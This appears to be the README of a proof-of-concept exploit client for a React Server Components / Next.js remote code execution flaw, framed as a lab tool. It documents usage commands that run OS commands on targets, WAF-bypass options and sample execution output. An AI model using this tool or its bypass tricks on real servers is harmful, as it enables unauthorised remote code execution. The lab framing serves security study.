React2Shell Scanner – with PoC

CVE-2025-55182 – React Server Components RCE PoC
Educational exploit client for the Hidden Investigations React2Shell lab.

This repository contains a single-host proof-of-concept (PoC) exploit tool for the React2Shell vulnerability (CVE-2025-55182) targeting misconfigured React Server Components / Next.js applications.

It is designed to be used only against the official Hidden Investigations React2Shell lab or systems you explicitly own / administer.

⚠️ Legal & Ethical Disclaimer

This project is provided strictly for educational and defensive security research:

• Only use this tool on:
  • The official Hidden Investigations React2Shell lab, or
  • Systems you own or have explicit written permission to test.
• Do not point this at random websites, production systems, or infrastructure you don’t control.
• The authors and Hidden Investigations take no responsibility for misuse or damage.

By using this tool, you agree to follow all applicable laws and regulations.

Features

• 🔥 React2Shell exploit client for CVE-2025-55182
• 🎯 Single-host focused (no mass scanning)
• 📡 Support for custom paths and path lists
• 🧪 Safe check mode (no OS commands, just a detection probe)
• 🪟 Windows-friendly mode (whoami default)
• 🛡️ WAF bypass helpers:
  • Junk multipart field (--waf-bypass, --waf-bypass-size)
  • Vercel layout tweak (--vercel-waf-bypass)
• 🔐 TLS options (--insecure, custom headers)
• 🧾 JSON output (-o/--output, --all-results)
• 🧘 Clean quiet mode output (perfect for piping to other tools)

Requirements

• Python: 3.8+ (tested with Python 3.10+)
• Dependencies:
  • requests

Install dependencies via:

pip install -r requirements.txt

Installation

1. Clone the Hidden Investigations repo:

git clone https://github.com/hidden-investigations/react2shell-poc.git
cd react2shell-poc

2. (Optional but recommended) Create a virtualenv:

python3 -m venv venv
source venv/bin/activate   # On Windows: venv\Scripts\activate

3. Install requirements:

pip install -r requirements.txt

4. Run the tool:

python3 react2shell-scanner.py -h

Usage

Basic help:

python3 react2shell-scanner.py -h

The tool requires a target URL:

python3 react2shell-scanner.py -t http://localhost:3000 -c "id"
# or
python3 react2shell-scanner.py --url http://localhost:3000 -c "id"

If you run it without -t/--target or -u/--url, it prints a branded help message and exits.

Command Line Options

Target & paths

Note: This PoC is single-host only. The -l/--list option is present but intentionally disabled.

Exploit / payload behavior

HTTP / TLS options

Output / UX options

Quiet mode example (nice, multi-line output):

python3 react2shell-scanner.py --url http://localhost:3000 -q -c "ls -la"

Output:

total 12
drwxr-xr-x    1 root     root            10 Dec 13 21:13 .
drwxr-xr-x    1 root     root             0 Dec 13 21:13 ..
drwxr-xr-x    1 nextjs   nodejs          12 Dec 13 21:13 .next
drwxr-xr-x    1 nextjs   nodejs         396 Dec 13 21:13 node_modules
-rw-r--r--    1 nextjs   nodejs         733 Dec 13 21:13 package.json
drwxr-xr-x    1 root     root            12 Dec 13 19:13 public
-rw-r--r--    1 nextjs   nodejs        5661 Dec 13 21:13 server.js

Bulk scanning flags (intentionally disabled)

The following flags exist to mirror Assetnote’s CLI, but are not implemented in this PoC to avoid mass scanning misuse:

If you use -l/--list, the tool will print a warning and exit, suggesting you use Assetnote’s original react2shell-scanner for large-scale safe scanning.

Examples

Run against local lab:

python3 react2shell-scanner.py --url http://localhost:3000 -c "whoami"

Use WAF bypass with a larger junk field:

python3 react2shell-scanner.py -t http://localhost:3000   --waf-bypass --waf-bypass-size 256   -c "id"

Multiple paths on the same host:

python3 react2shell-scanner.py -t http://localhost:3000   --path /   --path /_next/data   -c "id"

Paths from file:

python3 react2shell-scanner.py -t http://localhost:3000   --path-file paths.txt   -c "id"

Safe check mode (no OS commands executed):

python3 react2shell-scanner.py -t http://localhost:3000 --safe-check

JSON output of results to file:

python3 react2shell-scanner.py -t http://localhost:3000   --path / --path /_next   -c "id"   -o results.json --all-results

JSON Output Format

When -o/--output is used, the tool writes an array of objects like:

[
  {
    "url": "http://localhost:3000/",
    "path": "/",
    "success": true,
    "status": "success",
    "output": "uid=1000(nextjs) gid=1000(nodejs) groups=1000(nodejs)",
    "http": {
      "status_code": 302,
      "headers": {
        "X-Action-Redirect": "NEXT_REDIRECT;push;/login?a=uid%3D1000%28nextjs%29;307;",
        "...": "..."
      }
    }
  }
]

Credits & Acknowledgements

• Hidden Investigations – for publishing the React2Shell educational lab and PoC client.
• @sakibulalikhan – tool author.
• Assetnote – inspiration for WAF bypass ideas via their react2shell-scanner.

License

This project is licensed under the MIT License. See LICENSE for details.

📬 Contact us: [email protected]